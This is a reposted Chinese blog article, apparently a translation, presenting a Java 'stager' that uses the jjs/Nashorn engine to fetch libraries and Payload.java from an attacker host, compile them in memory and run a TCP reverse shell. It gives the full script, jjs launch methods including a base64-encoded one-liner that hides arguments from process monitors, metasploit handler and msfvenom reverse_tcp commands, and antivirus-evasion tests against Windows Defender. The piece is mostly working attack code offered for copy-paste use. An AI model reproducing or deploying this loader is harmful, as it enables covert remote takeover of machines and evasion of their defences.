转载

Java传输器之无招胜有招

前段时间在网上读了一篇有关java传输器的博客 Java Stager without the Stager 。该文讲述了利用java的jjs组件和Nashorn引擎下载并执行payload，由于该利用程序不含恶意代码因此免疫大部分杀软的查杀，又由于payload在内存中编译执行，许多实时防御系统也无法检测到。现将该文翻译如下：

最近我一直在研究java，实际上，这是本月出的第三篇博客。

博客一这篇文章里我展示了一个java传输器，用它可以下载payload，在内存中编译它并执行。

博客二这篇文章里我介绍了利用jjs(jre环境组件,自java8引入）在安装了java的设备上做一些坏事。它通过调用Nashorn引擎以javascript语法访问java对象。

在本文中，我将综合以上两种方法通过Nashorn在“无”java传输器的情况下传送payload。

缺陷分析

我们重新分析一下传输器的目标及特性：

传输器是上传到目标主机的一个执行文件或脚本。

传输器必须是正常代码以躲避杀软的粗暴分析。

传输器接着通过HTTP将实际payload下载到内存，这也是躲避杀软策略的方法。

这种“躲入内存”的方法来源于James Williams发布在油管的视频《英特网太热》（~……~）。这段视频被一家杀毒厂商以版权问题强制临时下架，这使视频一下火了。目前已有3万2千的播放量，比第二名多了3万。而第二名是一段今年BSides Manchester会议的视频。

Nashorn Payload

我用牛逼的Nashorn引擎实现了一个和Java传输器一样的TCP反弹SHELL。老版本可以在这里看到： https://github.com/cornerpirate/java-stager/blob/master/src/main/java/TCPReverseShell.java 下面是使用Nashorn的新版本：

    // 将这里改为攻击者主机地址    
    var host = "http:///";
    // 通过HTTP加载NnClassLoader
    load(host + "NnClassLoader.js");   

    // 使用NnClassLoader下载Janino和Apache的jar包
    // Obtain these Jar files and stick them in your web root
    var L = new NnClassLoader({ urls: [host + 'janino-3.0.8.jar', host + 'commons-compiler-3.0.8.jar']});
    var P = L.type('org.codehaus.janino.SimpleCompiler');
    var SimpleCompiler = L.type("org.codehaus.janino.SimpleCompiler");
   
    // 引入我们要用的对象
    var BufferedReader = Java.type("java.io.BufferedReader");
    var InputStreamReader = Java.type("java.io.InputStreamReader");
    var StringReader = Java.type("java.io.StringReader");
    var StringBuffer = Java.type("java.lang.StringBuffer");
    var Method = Java.type("java.lang.reflect.Method");
    var URL = Java.type("java.net.URL");
    var URLConnection = Java.type("java.net.URLConnection");

    // 将java传输器版的Payload.java文件放在攻击者的web server上
      // 由这段代码下载payload
    var payloadServer = new URL(host + "Payload.java");
    var yc = payloadServer.openConnection();
    var ins = new BufferedReader(new InputStreamReader(yc.getInputStream()));

    // 将代码读入内存中的字符串中
    var inputLine;
    var payloadCode = new StringBuffer();
    while ((inputLine = ins.readLine()) != null) {
       payloadCode.append(inputLine + "/n");
    }

    // 关闭输入流
    ins.close();
    print("[*] Downloaded payload");

    // 用Janino编译
    print("[*] Compiling ....");
    var compiler = new SimpleCompiler();
    compiler.cook(new StringReader(payloadCode.toString()));
    var compiled = compiler.getClassLoader().loadClass("Payload") ;

    // 通过反射机制执行run方法    print("[*] Executing ....");
    var runMeth = compiled.getMethod("Run");
    // 这种方式调用的是static型的run方法
    runMeth.invoke(null);    

    print("[*] Payload, payloading ....");

但愿注解能够说清它的原理。大致过程是这样：

下载NnClassLoader.js库，它可以加载特定类。

下载必需的两个java库（janino，comons-compiler)，内存编译时需要它们。

下载payload并放入内存。

在内存中编译。

用反射机制执行payload对象的run方法来触发payload

就和前面文章的过程一模一样。

准备攻击者服务器

攻击者的服务器根目录下需要反之以下文件：

1. NnClassLoader

2. janino-3.0.8.jar

3. commons-compiler-3.0.8-jar

4. Payload.java

接着你可以启动metasploit的multi/handler模块并把payload设置为”generic/shell_reverse_tcp”。

攻击目标主机

再次声明：这里只是以研究为目的的攻击。你要做的是将上述Nashorn代码拷贝并粘入目标机器的文本编辑器，接下来你要做的是：

将Nashorn代码的host设置攻击者主机

保存js代码入磁盘，例如取名为“revshell.js”

使用jjs的话可以有3中方法运行“revshell.js”：

方法一：

    # 作为jjs的参数执行
    jjs path/to/revshell.js

该方法的优点是so easy，但缺点在于当你打开Sysinternals的进程管理器时，你会看到它会暴露payload的路径，这可不怎么好。

Java传输器之无招胜有招

方法二：

    # 使用echo命令将标准输入通过管道发给jjs接口
    echo load("path/to/revshell.js")|jjs

再次查看进程管理器我们发现不再有路径信息暴露了。

Java传输器之无招胜有招

方法三：

    # 在jjs交互态时输入命令    
    jjs
    jjs> load("path/to/revshell.js")

这种方法的效果和第二种一样。

全在内存里完成

上一步骤的过程不错，但仍旧会保存一份文件在磁盘中。如果你想全部在内存中完成，可以这样做：

上传你的”revshell.js”到你的web server并使用”load()”

或者直接粘贴revshell的代码到jjs的交互接口中去。

最后一步，是将你的payload用base64编码，然后只粘贴一行命令到jjs中。在windows环境下，你还可以用powershell、certutil来进行base64编码。当你有了base64版本的payload后，只要像下面这样把它粘入”ENCODED_TEXT”部分就行：

    echo eval(new java.lang.String(java.util.Base64.decoder.decode('ENCODED_TEXT'))); |jjs

它将会在Oracle已经签名过的jjs.exe的上下文中执行，同时也避免了输入参数出现在windows进程管理器中。

好吧，有东西存到磁盘了^_^

Sysinternals的进程管理器的过滤功能我们发现：

Java传输器之无招胜有招

我发现我们的jjs（在这里是pid 3504）创建了临时文件：

Java传输器之无招胜有招

这其实是NnClassLoader创建的，它们是janino和common-compiler包的副本。因为它们并非恶意代码，所以能通过任何安全软件的审查。以上就是我对上一版本的java传输器的改进。

汇总测试

首先是攻击者启动服务器并捕捉反弹回的shell：

Java传输器之无招胜有招

如下是目标主机在执行echo base64(payload) | jjs后的结果：

Java传输器之无招胜有招

Whoops!攻击成功了！

尝试触发杀软警报

java传输器和Nashorn例子中用的payload目前应该能躲过大多数杀软的策略。原因如下：

它们大多数是存在于内存中，一个经典的躲藏位置

payload出自我手。任何时候最有效的逃逸杀软办法就是自己写payload。如果目标主机的杀软没有特征码来匹配你的payload，那你几乎能为所欲为了。

正因如此，我想尝试在开启更新的Windows Defender中触发警报。我把Defender设置在high级别，接下我们用Eicar测试来触发警报。

加入Eicar

在我的目标虚拟机中，我用load()来获取eicar语句拷贝：

Java传输器之无招胜有招

下载过程没有毛病但却无法执行，因为eicar语句并不是js语句。没有报警，说明访问扫描功能无法发现内存中的Eicar，同理我们藏payload的地方难以发现。<br>

为了触发警报，我不得不用java把Eicar语句写入磁盘，如下：

Java传输器之无招胜有招

当执行到”fw.close()”的时刻Defender也触发了警报。

最后一次测试

我做的最后一次测试时直接用msfvenom直接生成一个未编码的payload，如下：

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f asp > shell.asp

然后我用load()下载它：

Java传输器之无招胜有招

又一次Defender没有报警但它却执行失败了，同样因为它不是js文件。连msfvenom赤果果的payload都没报警我不知道还有什么需要测试了。

好了，你可以用它了，一个可以击败蓝军的只需复制粘贴就能做很多事的“空中”（原文为：离地的）文件。

参考文献

[1] https://github.com/NashornTools/NnClassLoader

[2] http://repo1.maven.org/maven2/org/codehaus/janino/janino/

[3] http://repo1.maven.org/maven2/org/codehaus/janino/commons-compiler/

*本文作者：l0stTemple，转载请注明来自FreeBuf.COM

原文 http://www.freebuf.com/articles/system/186643.html

正文到此结束

所属分类：编程技术 Java

本文标签： java 测试 GitHub 参数下载目录翻译 js 管理软件文章编译 https IDE URLs 博客 tag ssl git UI HTML http stream 服务器 ip 安装 App 主机 id root shell 安全 TCP src Master web maven 进程时间 Connection IO apache windows Oracle 代码 Powershell JavaScript
版权声明： 本文为互联网转载文章，出处已在文章中说明(部分除外)。如果侵权，请联系本站长删除，谢谢。
本文海报： 生成海报一生成海报二

其他链接

关于本站

本站定位：个人技术类博客

本站作用：写博客、记日志、闲聊扯淡鼓捣技术。

问题交流

Java传输器之无招胜有招

缺陷分析

Nashorn Payload

准备攻击者服务器

攻击目标主机

方法一：

方法二：

方法三：

全在内存里完成

好吧，有东西存到磁盘了^_^

汇总测试

尝试触发杀软警报

加入Eicar

最后一次测试

参考文献

热门推荐

相关文章

说给你听

本文目录

随机标签

书籍教程

近期评论

网站信息

其他链接

关于本站

问题交流